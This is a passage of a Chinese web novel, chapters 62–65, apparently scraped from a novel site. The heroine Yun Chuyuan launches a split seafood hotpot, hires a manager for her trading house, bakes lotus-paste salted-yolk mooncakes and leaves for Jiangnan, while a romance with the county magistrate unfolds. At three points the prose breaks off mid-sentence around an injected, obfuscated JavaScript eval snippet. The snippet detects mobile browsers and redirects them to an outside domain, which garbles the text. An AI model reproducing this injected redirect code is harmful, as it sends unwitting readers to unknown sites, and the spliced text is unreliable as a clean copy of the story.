她将话题重新拉回到了菜单上,“你这主意绝妙,回头我便让人改菜单,这鸳鸯火锅也一同在湘香馆推出吧。” 62. 海鲜火锅 十几日的时间,县城外的土路夯实得差不多了,裴县令日日在那里监督,没人敢偷懒,而云楚沅每日早出晚归,两人愣是没见过一面。 “朱师傅,食材都准备好了吗?”云楚沅掀开后厨的帘子,扫视了一圈桌子上摆放着的小铜锅。 那是特意找工匠定制的,中间被分割开,一边装着清汤,一边装着辣汤。 清汤是用鸡架和猪骨熬制的高汤,而辣汤多加了一份由茱萸、豆酱、香料炒制而成的火锅底料。 “放心吧,我都按你说的,分装成小份了。”朱师傅指了指桌面上摆满的食材,处理好的大虾、螃蟹、鱼片、花蛤、鲜贝码得整整齐齐。 云楚沅满意地点了点头:“行,午时咱们就要更换菜单了,已经宣传造势了三日,肯定能吸引不少食客。” 朱师傅拿着新菜单端详了一下,除了鸳鸯套餐会有新品,其他套餐都是他做惯了的菜式,而且新品海鲜火锅也不用他做,直接端上桌让客人自己涮锅子就行。 鸳鸯套餐包含了海鲜火锅、海鲜炒饭、还有凉拌鱼皮,其中海鲜火锅会赠送两份调配好的蘸料,虾、蟹、鱼、蛤、贝各一盘,还有蘑菇、青菜、豆腐等各种配菜以及一份手擀面。 “咱们这鸳鸯套餐怎么有道凉拌鱼皮呀?”朱师傅挠了挠头,这鱼皮做法并不难,他已经学会了,就是感觉和涮锅子有些不太搭。 云楚沅露出一个意味深长的笑容:“春香姐给了我启发,那我肯定要致敬她一下呀。” 临近午时,云记食肆的门口放起了鞭炮,“噼里啪啦”的声音吸引了许多百姓围观。 “这是有什么喜事吗?” “你没听说吗?云记早就放出了消息,为了庆祝城外的夯土路筑好,他们要推出特别的优惠套餐,还有海鲜火锅。” “噢噢,我听我婆娘提起过,听说有个鸳鸯套餐是为夫妻两人准备的,她嚷嚷着一定要我带她来尝一尝,我得赶紧回家去通知她。” “啧,那也就是个噱头,我叫个汉子一起点鸳鸯套餐,有谁会说我?” “和男人吃鸳鸯火锅,兄弟你就不膈应吗?又不是没媳妇。” “……我就是没有,你能咋滴!” “呃……抱歉抱歉,那你找男子一起去吧,你瞧,那前头有人在找人拼桌呢。这套餐可是比单点划算多了,能和人一起拼桌也挺好。” 云记食肆内,钱春香和云楚沅忙得脚不沾地,她们两个接待了一批又一批三五成群的食客,有的是和家人一起来的,有的是在门外临时凑成一块的。 “老板,来两份鸳鸯套餐。” “好的好的!” “姑娘,我们这儿要一份家庭套餐。” “来嘞来嘞!” 云楚沅就像是个无头苍蝇一样,哪里有人招呼她,她便立刻往哪边飞奔。 这也就是城中有不少建房屋的工匠还在吃大锅饭,要不然她这小食肆不得被热情的食客们踏平了呀。 等到菜全部上完,云楚沅和钱春香两人靠坐在柜台后,差不多都要累瘫了。 钱春香摸了摸额角的汗,气喘吁吁地说道:“这般热闹,与我们开张那日有过之而无不及。” 云楚沅“吨吨吨”喝下一壶水后,抹了把嘴,“唉,把我累的够呛,钱婶不在,就咱们两个还是太勉强了些。” 钱春香有气无力地说道:“每回开办活动的第一日都是如此,等过两天,百姓们热情便会消退不少。” 云楚沅点头表示赞同,她抬眼看了一圈,每张桌上都放着个铜锅,热气腾腾下是食客们的欢声笑语。 一名汉子兴奋地用筷子夹起一只肥美的鲜虾,放进锅中涮了几下,而后迅速捞出放进自己的碗里,蘸上调料,扔进嘴里嚼了起来,“哇!这虾太新鲜了,肉质紧实,你也快尝尝!” 坐在他对面的一位弱气书生面色纠结地看着两碟蘸料,“大哥,这芝麻酱和海鲜酱,小生不知该如何抉择。” 汉子爽朗笑道:“哈哈,当然是两个都要了。”说罢,他将煮好的剥了壳的蟹肉在两个碟子里分别蘸了下,“小兄弟,你再不动筷我就全吃光了。” 书生这才一股脑地将鱼片、鲜贝倒入辣汤里,他这人看着瘦弱,却嗜辣,嫩滑的鱼片在滚烫的辣汤中上下翻滚,仿佛是在起舞。 待鱼片变色后,书生小心地捞出来,吹了吹热气,缓缓送入口中,眯着眼睛细细品味,“这鱼片煮得恰到好处,入口即化,吸收了汤中精华,味道极好。” 接着,他又夹了块鱼片蘸上调料后品尝,“芝麻酱醇厚,海鲜酱浓郁,这两份蘸料都很美味。” 汉子抿了口酒,乐呵呵地说道:“你小子方才在门外还推脱呢,有啥不好意思的,咱没媳妇还不能吃这鸳鸯锅了?” 没错,这素不相识的两人,是临时搭伙的,只为了品尝云记食肆新上的海鲜火锅。 书生脸颊微红道:“是在下狭隘了,这里的吃食一如既往的美味,不枉此行。” 午膳时间过去后,店里的客人渐渐散去,云楚沅鬼鬼祟祟地在后院门口探头探脑。 “楚沅,你在看啥呢?” 突然出现在身后的朱师傅吓了她一跳,云楚沅赶忙竖起食指,“嘘!朱师傅你小声点!” 憨憨的朱师傅顺着她的视线看过去,发现是钱春香正和于汤坐在后院的石桌旁吃火锅,他满脸疑惑地小声问道:“咦,春香不是早就用过饭了吗?怎么还吃呢?” 云楚沅捂着嘴偷笑道:“一个人吃和陪心上人吃饭能一样吗?” 朱师傅恍然大悟:“原来春香相中阿汤了呀。” 云楚沅翻了个白眼:“朱师傅,你也太迟钝了吧,春香姐日日对来这送货的阿汤哥端茶倒水,你就不觉得奇怪吗?” 朱师傅摸了摸后脑勺:“我这不是没听钱妹子说过嘛,我还以为阿汤是钱家的亲属呢。对了,这事春香她娘还不知道吧?” “钱婶还有半个时辰就收摊回来了,我在这帮春香姐盯梢呢。”云楚沅一边说着,一边竖起耳朵偷听。 “你们这些小丫头啊,简直胡闹,哪能让未成亲的姑娘家和男子单独相处呢?”说完,朱师傅也倾身向前,“不行,我得听听他们俩在说啥,可不能越界。” 云楚沅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046643|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住笑了起来,口是心非的朱师傅,还不是和她一样八卦。 “阿汤哥,这道凉拌鱼皮好吃吗?” “还不错。” “真的吗?这是我亲手做的!” “我说呢,怎么有些咸了。” “……” 钱春香绞紧了手中的帕子,鼓起勇气开口:“阿汤哥,我可以再改进,你……你愿意每日吃吗?” 短短一句话,用尽了她全部力气,这话的意思再明显不过,她想与他朝夕相处,为他洗手作羹汤。 于汤头也不抬地回道:“不必了,每日吃鱼皮会腻的。” “……”钱春香一下子泄了气,她都有些怀疑于汤是不是故意的,他对她没意思,不想直接伤她的心,便用这种拐歪抹角的方式回绝她。 听着后院隐隐约约传来的对话,云楚沅恨铁不成钢,阿汤哥真是她见过最木讷的男子了,就连裴昱臣都比他强。 “我比谁强?” 身后突然传来的清冷男声吓得云楚沅差点跳起来,她埋怨道:“你们一个两个的,怎么神出鬼没的?不知道人吓人吓死人吗!” 转过身去,云楚沅的额头“砰”的一下,撞进来人坚实宽阔的胸膛。 “哎呀!”一声娇呼从云楚沅的口中逸出,裴昱臣微微一怔,连忙伸手扶住她摇摇欲坠的身子,“小心点。” 捂住额头的云楚沅这才看清楚是谁来了,“哟,这不是裴大人吗?怎么有空光临我这小食肆呀!”她双手抱于胸前,手指轻轻搭在肘弯处轻点,眼睛斜睨着男人,就像个来等着别人来哄的孩子。 裴昱臣的脸面有些挂不住,他知道自己这几日的逃避让云楚沅不高兴了,可是他那日落荒而逃的样子实在太丢脸了,便想缓几日平复好心情再与她相处。 可他听说云记食肆推出了一款鸳鸯锅,能让爱吃辣和不能吃辣的人一起涮锅子,裴昱臣心思流转,他不能吃辣,这是楚沅专门为了他搞出来的吧。 自己说服自己的裴昱臣十分感动,他马不停蹄地赶来云记食肆,就是想好好看看这个让他抓心挠肝、牵肠挂肚的小姑娘。 “咳,抱歉楚沅,我这几日忙着监督城外修路的工匠,一直没来得及和你说声抱歉,那晚的事怪我,我不该把你关在门外的。” 眼见裴昱臣态度诚恳,而且她也有不对的地方,云楚沅放下手臂,不再故作生气,“我……我可不像你一样小气,好啦,这事翻篇了。” 裴昱臣笑着点头:“所以你方才是在说我什么呢?” 云楚沅身形一顿,她这才反应过来,她刚才把心里想的话说了出来,“哈哈,我那是夸你聪慧呢。”尬笑了一会,她赶紧转移话题,“诶,你过来有什么事呀。” 裴昱臣眼神柔和地看着她:“楚沅,我想和你一起享用鸳鸯火锅。” 云楚沅只以为他是饿了,拉着他离开了这里,“走走走,想吃什么我给你涮。” 在旁边站了许久的朱师傅被无视得彻底,他看了两眼后院的春香和阿汤,又注视着楚沅和裴县令离开的背影,心想,这鸳鸯锅难道是表明心迹的新暗号吗? 63. 云记商行 桌上的铜锅正咕噜咕噜地冒着热气,汤底翻滚,云楚沅端起一盘盘鱼虾倒入锅中,头上的珠翠叮叮咚咚响个不停,几缕碎发俏皮地垂落在脸旁,她的眼神里满是专注。 云楚沅身体微微前倾,纤细白皙的手指握住竹筷,轻巧地夹起一片薄如蝉翼的鱼片,蘸上调料,盛进裴昱臣面前的瓷碟里,“饿坏了吧,快吃快吃。” 看着云楚沅继续专注地为他涮食物,推满了他的碗碟,就差将吃食喂进他嘴里了,裴昱臣笑着说道:“楚沅,别忙了,我自己来就好。” 坐在对面的云楚沅这才停下动作,“你这段时日监工辛苦了,我这是想犒劳你一下。” “你的商行都要开起来了,我肯定要先让工匠们把路给修好。” 裴昱臣夹起一块鲜美的蟹肉,轻咬一只弹牙的虾仁,吸溜一口滑嫩的鱼片,再尝一颗饱满多汁的贝肉,鲜甜的汁水四溢而出,混合着蘸料的味道在嘴里面炸开。 云楚沅双手托腮看着裴昱臣吃东西,视线追随着他的一举一动,见他细细品咂海鲜,唇角偶尔逸出的满足笑意,她也不由自主地笑了起来。 看别人品尝自己做的饭菜,而且吃得享受,云楚沅的心里充满成就感和满足感。 云楚沅又将她亲自做的海鲜炒饭推到他面前,“多吃些吧,你马上将有好多天吃不到我做的饭菜喽。” 裴昱臣咀嚼的动作一顿,疑惑地问道:“为何这么说?” “云记商行第一个大单子便是和宋家的,我当然要亲自监督啦,而且我也想去江南看看。”云楚沅的眼神里满是按捺不住的激动和兴奋。 自从穿越到这里,她就没出过临海县,如今有这么好的机会摆在面前,她肯定要出去见一见世面。 裴昱臣原本优雅地举着玉箸,品尝着云楚沅为他涮好的青菜,听闻这个消息后,他进食的动作渐渐慢了下来,眉头微不可察的皱了皱,好心情顿时消散了个干净。 “雇人去不就好了吗?你要是担心送货的人信不过,我让梁捕头挑几个身手好的弟兄帮你。” 云楚沅眨了眨眼,双手交叠于身前,快速摆了摆手,笑得眉眼弯弯,脸上露出两个浅浅的酒窝,清脆的声音随之响起:“不用啦,裴大人多谢你的好意,我自己能搞得定,而且我还想去见识一番江南的繁华。” 女子的笑容里带着俏皮,又透着几分坚定,让人无法再执意劝阻。 裴昱臣在心里叹了口气,说到底,还是因为他们两人没什么特殊关系,他没有资格替她做决定,看来求娶一事该早些提上日程了,既如此便等她从江南回来后吧。 想到成亲之事,裴昱臣的脸颊微微泛红,心不在焉地夹着菜,引得对面的云楚沅频频盯着他看。 “喂,你怎么一副春心荡漾的模样,想什么呢?” “想你……”裴昱臣刚脱口而出两个字,立马回过神来,欲盖弥彰地轻咳了两声,“咳咳,我是在想你一个女子跟着商队外出是否安全。” 云楚沅脑袋稍稍歪向一侧,脆生生地笑道:“我已经安排海味坊的李掌柜去挑随行的人了,专门找会拳脚功夫的,你就安心吧!” 裴昱臣点了点头,不动声色地试探:“那你何时能回来?还有不足一月便是八月十五中秋节了。” 云楚沅说道:“合家团圆的日子,我当然要回来和小弟小妹一起过啦。我算过了,从临海县到扬州有一千多里路,乘马车要走十几日,我肯定能在中秋节前赶回来的。” 裴昱臣听她只提起小弟和小妹,心里有些失落,看来她是打算回小渔村过节了,也是,这么重要的日子,她肯定是想在自己家里和亲人共度。 “那便祝你一路顺风吧。” —— 云楚沅离开食肆后,直奔海味坊。 “东家,您来啦!快请进。”李大强一见到云楚沅来,立马放下手中的算盘,殷勤地迎了出来。 “李掌柜,商行的送货人安排的如何了?” 李大强叮嘱伙计看好铺子,他带着云楚沅往同一条街上新开的云记商行走去,“东家,您不是想找个略通经商之道的人来管理商行吗?我找着了。” “哦?是何人?”云楚沅挑了挑眉,想不到李掌柜这么快就找好了商行的负责人。 想在临海县一下子找出个会管理商行的人不太现实,云楚沅原本想着这回她亲自带队去江南,看看随行的人中有没有机灵点的,好好培养一下,说不定能重用。 想不到李掌柜给了她一个惊喜,就是不知道他找的人如何,能否有那个本事替她管理好商行。 商行可不是铺子,只卖货是不行的,还需要察言观色,和各路人马打交道,必然要找个脑子活泛的。 李大强搓了搓手掌,憨笑一声,“东家,我说的人是我表弟,他自幼便聪慧过人,对经商之道颇有见解。” 云楚沅意味深长地看了他一眼:“李掌柜,你可不要随意糊弄我啊。丑话说在前头,要是人不行,我连你一块踢走,我云记可不是养闲人的地方。” 李大强的脸上并没有露出窘迫的神色,反而胸有成竹地说道:“举贤不避亲,东家你见了他自然就明白了。我表弟李小硕为人机灵,做过走商,在外头赚了不少银子。要不是他老娘催着他回来娶媳妇,他都不愿回咱们这小县城。” 打量了李大强两眼,云楚沅见他不像是徇私的样子,笑着拍了拍他的肩膀,“行,若是这人真像你说的那样厉害,我给你涨月钱。 李大强笑着拱手行礼:“小的多谢东家。” “那我就拭目以待啦。” 云楚沅转身踏入云记商行的大门,抬眼就瞧见了柜台后站着一个眉清目秀的男子,这人的外貌和五大三粗的李大强有很大的差别,瞧着瘦弱,不像是能在外头奔波的样子。 李小硕听到门口的动静,抬头便看见自家表哥跟在一名女子身后走了进来,还朝他不停使眼色。 李小硕了然,想必这位便是表哥口中的奇女子,也是临海县的风云人物——云楚沅。 听说此女子长相貌美,十分聪慧,把贫穷的小渔村改造成了养殖圣地,在临海县经营着许多铺子,还说服了县令修路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053629|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想将加工坊的货物向外兜售。 李小硕尝过云记食肆的菜肴,也买过云记海味坊的海鲜特产,果然像百姓们说的那样,滋味上乘。 他对这位有许多奇思妙想的女子很是好奇,一听表哥说云记商行要招人,立刻毛遂自荐。 只见李小硕从柜台后走了出来,挺直腰板,双手交叠于身前,声音洪亮地对云楚沅说道:“在下李小硕,见过云老板。” 云楚沅双手背在身后,围着他走了一圈,“你就是李掌柜举荐的人?你有什么特长?” 李小硕恭敬地说道:“回东家,在下精通算术,尤其擅长心算。” 云楚沅撇了撇嘴,有些不以为意,算数和经商可是有很大区别的,数学好的人不见得就会赚钱,“还有呢?说说你在外头都做过什么营生吧?” “我曾在苏州帮人卖过胭脂,生意很不错,上到贵妇千金,下到青楼妓子,都用过我卖出的胭脂水粉。” 云楚沅好奇地问:“你都是怎么卖的?” “我把铺子的伙计全换成了有些姿色的女子,每日画着精致的妆容展示给客人看。根据原料不同将胭脂分成金盒和银盒,价钱高的金盒一出新品便会送给达官贵人家的女眷,便宜些的银盒会请花魁来试用。” 听着李小硕讲自己经商的手段,云楚沅摸了摸下巴,这人还算有两把刷子,“你以前是卖胭脂的,那你对我云记的海鲜制品了解多少呢?” “东家,我是临海县土生土长的,自小吃海鲜长大,云记卖的酱料、零食、干货我全都尝过,味道极好且能保存很长时间,这么好的东西我有信心能帮您售往全国各地。” 李小硕眼神火热,他觉得这次听老娘的话,回到临海县是一个无比正确的决定。 虽说在苏州卖胭脂的活计能赚不少,可他还是向往四处奔波、见识各地风土人情的生活,李小硕想要把握住这次机会,他觉得云记的东西日后定会名扬天下。 云楚沅从李小硕的眼神中看到了认真,她感受到他是发自内心的想帮她推广海产品的,就冲他这份热情,云楚沅也愿意给他这个机会。 “云记商行欢迎你的加入,希望你和云记一起走向巅峰哦~”云楚沅歪着头笑眯眯地说道。 李小硕的眼神骤然发亮:“多谢东家,小的肯定不会让您失望的。” 李大强见表弟被留下来,乐得裂开了嘴,“谢谢东家,谢谢东家!这小子肯定会好好干的,别的不说,他是绝对不会偷奸耍滑的。” 云楚沅说道:“是骡子是马拉出来溜溜便知,这回你就和我一同去江南吧。” 李小硕没想到刚进商行,便被东家委以重任,他毕恭毕敬道:“东家,扬州我之前也去过,对宋家略有耳闻,我一定不会让您吃亏的。” 云楚沅点了点头,看向李大强,“李掌柜,把和宋家签好的订单拿出来给我瞧瞧,上面的货都准备好了吗?” 李大强从怀里掏出一张纸,双手呈给云楚沅,“东家,早就安排好了,蟹黄酱两箱、蚝油和海鲜酱各五箱,还有干货和零食十几箱。” 64. 莲蓉蛋黄月饼 核对好清单上的货品后,云楚沅突然想到临近中秋,肯定少不了卖月饼的,这可是个好机会,她可以利用新品月饼进一步在江南打开市场。 说干就干,在知会了李氏兄弟一声后,云楚沅去了云记的加工坊。 “小渔哥,你在忙吗?” 这间加工坊的负责人是村长的儿子余小渔,余家想让儿子来县城做活,便找上了云楚沅。村长的面子还是要给的,余小渔干活利索、说话讨喜,她就安排他管理作坊。 院子里正在检查鱿鱼丝的余小渔闻声抬头,“是楚沅啊,你找我什么事?是工坊刚交出去的货有问题吗?” 云楚沅摇了摇头:“没有没有,那批零食质量过关,我来找你是有别的事。” 余小渔松了一口气,他还以为工坊的第一笔订单出了岔子,那他这个负责人可就无颜面对云楚沅了。 “咱们进屋子里说吧。”余小渔放下手里的东西,让其他伙计继续检查零食,一定要把有瑕疵的都挑出来。 云楚沅见他的态度认真负责,欣慰地笑了笑,他们小渔村大部分人都很淳朴,这也是她愿意提携同村村民的原因。 “楚沅,有什么事你尽管开口,哥哥保准帮你办妥。”余小渔一坐下来,立马拍着胸脯做出保证。 他如今做的这份活计令许多人羡慕不已,村中不乏有人在背后嘀咕,说他是仗着自己老爹是村长,才能在云记当管事。 余小渔对他们的酸话不以为意,他需要做的只是向云楚沅证明他的能力,时间久了,旁人自然也会发现他能胜任这份工作。 瞧着他一副要为她赴汤蹈火的模样,云楚沅被逗笑了,“小渔哥,不是什么难事。这不是快到中秋了吗,我想着咱们云记也做些月饼来卖。” 余小渔有些惊讶:“楚沅,云记也要卖糕点了吗?” “不是的,我是想趁着节日,扩大一下云记的影响力。”糕点这样易碎、保质期短的东西肯定不能长途运输,云楚沅不打算长期做。 余小渔若有所思:“你是有什么新点子吗?” 云记又没有擅长做糕点的师傅,云楚沅既然想卖月饼,那肯定是掌握了不输他人的好配方。 云楚沅说道:“除了常见的五仁、豆沙、枣泥、冰糖、蜜饯这些馅料的月饼,云记将会推出一款口味特别的莲蓉蛋黄月饼。” 余小渔对她口中的莲蓉蛋黄月饼十分好奇:“楚沅,我从未听说过咸蛋黄能做糕点,不知味道如何?” 云楚沅信心十足:“小渔哥,这款月饼可是我的最爱,保管你吃过了还想吃。这样吧,你现在去买些莲蓬,再从海味坊拿一坛钟家做的咸鸭蛋,我做给你尝尝。” “行,我现在就去。” 趁着余小渔去买食材的工夫,云楚沅去了一趟隔壁街的木匠铺。 “师傅,我想订做一批这种样式的月饼模具。” 云楚沅从怀中掏出一叠纸,她昨日请裴县令亲自作画,把她想要的图案描绘下来,有嫦娥奔月、玉兔捣药、花好月圆,还有直接用“莲蓉蛋黄”四个字做图案。 昏昏欲睡的老师傅拿过去看了片刻,“哟,这花纹真好看,能做,你什么时候要用?” “师傅,我有急用,这两日你能做多少我要多少,我出双倍价钱。”云楚沅比了两根手指,出发去江南她肯定要带上做月饼的工具和材料。 云记的货品全都用陶罐密封住了,能保存挺长时间,但是这月饼待个十几日怕是要坏。 云楚沅索性准备好模具,带上咸鸭蛋到宋家现做,正好从钟家收购的几十坛腌咸鸭蛋还没卖出去,这回算是派上用场了。 老师傅一听有银子赚,立马不困了,“丫头你放心吧,我叫上我那三个徒弟一起做,两日做出上百套不成问题。” 云楚沅点了点头:“那便先加急做一百套吧,然后月底之前再做一百套送到云记零食加工坊。” 月饼肯定也要在临海县售卖,到时候她把配方交给余小渔,让他安排人做就行。 云楚沅买了套普通模具回到加工坊,余小渔也正好提着食材回来了,“楚沅,我在集市遇到卖莲蓬的老伯,他的莲藕可新鲜了,刚采摘下来的,泥巴都还没干呢。” “看着确实不错,走,小渔哥,我去给你做月饼吃。”云楚沅接过竹篮,里面躺着几节饱满的鲜莲藕和几个碧绿的莲蓬头。 云楚沅将莲蓬头里藏着的莲子全部剥了出来,将饱满圆润的莲子剔除芯芽,否则做出来的成品会有点苦味,锅中倒水将莲子煮到软烂,用木铲按压成泥状后,捞出沥干。 “小渔哥,你去用石臼把这些煮好的莲子捣成莲蓉。”见余小渔闲着没事干,云楚沅便指使他去干活。 “好嘞。”余小渔二话不说,便拿着装莲子的盆走了出去。 云楚沅洗去咸鸭蛋表面的盐霜,打破蛋壳,将橙红色的蛋黄取出,喷上些白酒送入烤炉烤熟。 院子里,余小渔握着杵柄捣弄颗粒状的莲子泥,慢慢地,质感变得绵密细腻,他停下查看,浅黄色如膏脂般的莲蓉附着在臼壁上,光泽温润。 “楚沅,这莲蓉捣好了。”不一会儿,余小渔就完成了她交代的事。 云楚沅接过余小渔端着的盆,把莲蓉倒入锅中炒制,水分渐渐被蒸发,莲蓉颜色加深,质地变得粘稠,直到铲子翻动时有明显的沉重感,便差不多了,最后加入麦芽糖熬煮,增加甜味。 做好的莲蓉表面光滑,盛放在瓷碗中晾凉,等它凝固,凑近能闻到莲子的清香混合着甜香,挖一小勺品尝,入口即化,甜而不腻。 云楚沅满意地点点头,拍了拍手笑着说道:“好啦,馅料做好了,接下来做饼皮。” 案板上堆着按比例调好的面粉、白糖和猪油,云楚沅将它们混合后,用掌心揉搓成光滑不粘手的面团,盖上湿布子静置醒发。 接下来便是包馅,莲蓉放在手心铺成圆形薄饼,中间嵌入一颗金灿灿的咸蛋黄,再覆盖一层莲蓉将其完美包裹,揉成一个小团。 切好的面团剂子,轻轻按压成中间厚边缘薄的圆片,包住莲蓉蛋黄馅料缓缓收口,确保没有一丝内陷暴露出来。 半成品滚成球,云楚沅一边将它们放入模具中压实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057678|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定型,一边对站在旁边的余小渔说:“小渔哥,我跟木匠铺的老师傅约好了,月底之前他会做出一百套模具,到时候你去取回来,在中秋前两日安排人开始做月饼,成品上架云记名下的所有铺子。” 余小渔点头表示明白:“楚沅,我办事,你放心。” 摆满生胚的烤盘送入烤炉,饼坯在热风中缓缓膨胀鼓起,饼皮由白色变为透亮的蜜棕色,莲子的清香与蛋黄的咸鲜飘了出来。 余小渔深吸了两口气:“嗯,闻着真香啊。” 云楚沅笑着说道:“吃起来更香。” 余小渔舔了舔嘴唇,两眼放光,“我已经等不及了。” 出炉后的月饼稍微晾晾,云楚沅将其掰开后,咸沙绵密的蛋黄镶嵌在丝绒般的莲蓉中,油脂渗透进了饼皮里,形成半透明的晕圈。 云楚沅轻咬一口,酥皮簌簌掉落碎屑,接着是绵密香甜的莲蓉裹挟着沙沙的咸蛋黄颗粒在口中绽放,表面酥脆、中间软糯、内里紧实,再加上甜咸交织的味道,实在是妙不可言。 余小渔将半块月饼塞进嘴里,细细品味后赞叹道:“莲蓉细腻如丝,蛋黄咸香适口,这月饼太好吃了!” 余小渔原本觉得食物只要能果腹便好,味道如何,都是次要的。 在尝过云楚沅做的吃食后,他才发现自己以前的想法太过狭隘了,美味的佳肴不仅能填饱肚子,而且能带来心理上的满足。 余小渔觉得这款新口味的月饼绝对能够大卖,“楚沅,我会在城中大肆宣传一番的,等你从江南回来,绝对能看到莲蓉蛋黄月饼大受欢迎。” 云楚沅对此不置可否,这里的人年年都吃五仁月饼,想必早都吃腻了,是时候换个新口味了。 云楚沅派人将还在云记商行的李氏兄弟叫了过来。 “你们两个尝尝我这款新月饼味道怎么样。”云楚沅将月饼从中间切开,递给他们一人一半。 李大强接过后看着月饼漂亮的横切面,已经有些不淡定了,他瞪大了眼睛说道:“东家,你这月饼还真把月亮包进去了不成?” 李小硕轻轻嗅了嗅:“咸蛋黄的味道,还有一股不知名的清香,闻起来不错。”说罢,他浅尝了一口,“嗯,这个细腻的馅料清甜,里面的咸蛋黄油润,两者相结合,吃起来令人十分惊喜。” 云楚沅笑眯眯地说道:“那你猜猜看,中间那层清甜的馅料是什么做的?” 李小硕冥思苦想了一会,试探着回答:“莫非是白芸豆?” 云楚沅晃了晃手指:“错啦,是莲子。” 李小硕恍然大悟:“我说呢,这股淡淡的清香很熟悉,一时半会又没想起来。” 李大强吃了半块月饼还不够,又拿起了一个,“东家,我从来没吃过这么好吃的月饼。” “这是莲蓉蛋黄月饼,怎么样?你们觉得能卖出去吗?”云楚沅问道。 李大强嘴里的吃食都没咽下去,含糊不清地说道:“能,太能了!往年的月饼都没什么新意,这个新口味绝对会有很多人喜欢。” “我想也是。”云楚沅嘴角扬起一抹微笑。 65. 下饭酱 城外,几辆满载货物的马车已然整装待发,马儿不停刨着地面,喷吐着鼻息,似也感知到即将踏上旅程的兴奋。 “赶紧检查一下货物是否都装好了,千万不能出差错。”李小硕神情严肃地催促着众人。 身着粗布短褐的伙计们来回穿梭忙碌着,额头上沁出细密的汗珠,却顾不上擦拭,他们专注认真,仔细检查绳索是否松动,货物有无遗漏。 “抓紧时间,快要到出发的时辰了。”云楚沅在人群中来回走动,裙裾轻拂地面,一头乌黑亮丽的长发挽成高发髻,发间插着一支花簪,随着她的步伐微微晃动。 裴昱臣缓缓走近,他一袭白色长袍随风轻扬,腰间束着湛蓝色束带,双眸紧紧盯着队伍中指挥着的女子。 “楚沅,你一去十余日,我实在不放心,就叫青竹陪你一起去吧。”说罢,裴昱臣朝身后不远处的青竹招了招手,“有什么事你尽管吩咐他。” 青竹走上前来,拱手行礼,“云姑娘,路上我会替我家大人照顾好你的。” 云楚沅看看青竹,又看看裴昱臣,并未拒绝他的好意,要不是县令不能擅自离开自己管辖的地方,裴昱臣肯定是要随她一起去的。 “行吧,小青竹,姐姐带你去江南好好玩玩。” 裴昱臣见她笑得没心没肺,淡声开口:“你是去办正事的,不是去玩的,送完货就赶紧回来。” 云楚沅乐呵呵地说道:“办正事也碍不着我游玩呀,听说江南有许多美食,我肯定是要尝个遍的。” 裴昱臣张了张嘴唇:“我……我听说楚河和楚清都盼着你早日归来。”话在嘴中拐了一圈,他还是没有直接表达关切,这些私事还是等她回来再说吧。 云楚沅一想起昨天在小渔村被小弟和小妹缠了一整日便头疼,这两个小家伙非得嚷嚷着要和她一块去江南。她怎么哄都没用,只能趁着天未亮,悄悄离开了村子,就怕他们俩见她走就撒泼打滚。 “唉,那两个磨人精我实在是招架不住,裴大人,麻烦你捎句话给他们,我会尽快回来的,还会给他们带礼物。”云楚沅抚了抚额头,想要玩个尽兴的念头消退了不少,这家中有人等就是不一样,出门远行都得时刻牵挂着。 到了分别的时刻,裴昱臣后退几步,向马车上的女子拱手作揖:“楚沅,一路顺风。” 云楚沅笑着挥手道别:“裴大哥,等我的好消息。” 随后,驾车的马夫轻轻甩动缰绳,吆喝了一声,马车开始缓缓前行,车轮滚滚碾过刚夯实好的路,扬起一小片尘土。 裴昱臣站在原地,目送着渐行渐远的马车,久久不曾离开。 —— 车辕上的铃铛随着马匹行走叮当作响,云楚沅掀开帘子,微微探出身子,眼眸亮晶晶的,满是按捺不住的兴奋与期待。 “啊,空气好清新哦。”微风掀起车帘一角,云楚沅深吸一口气,嗅到了泥土与花草混合的芬芳,她轻轻闭上眼,嘴角噙着笑,手指有意无意地敲击着窗棂,表情惬意又享受。 “云姐姐,别吹风了,小心受凉。”青竹倒了杯热茶递到云楚沅的面前,将帘子拉上,隔绝了外头的风景。 “青竹,我从未离开过临海县,心里激动嘛,就想看看沿路的风光。”云楚沅一边吹着热茶,一边双眼放光地嘀咕。 青竹摇头失笑:“这一路上不是树就是山,没什么好看的,等到了扬州,你可以尽情观赏。” 云楚沅小鸡啄米似的频频点头:“嗯嗯,我可是带足了银子,势必要好好消费一把。” “云姐姐,财不外露,你可千万要小心。”青竹满脸担忧地看着她。 云楚沅眨了眨眼,扯了扯自己身上的衣裙,“听说江南盛产丝绸,你瞧瞧这料子,小贼都得嫌弃我穷酸。” 临海县最好的成衣铺也全是些粗制滥造的衣裳,布料劣等、颜色暗淡、图案老旧。 云楚沅与宋家的合作里就囊括了布匹的售卖,这些新东西一旦出现在临海县,很可能会使百姓们的消费欲井喷式爆发。 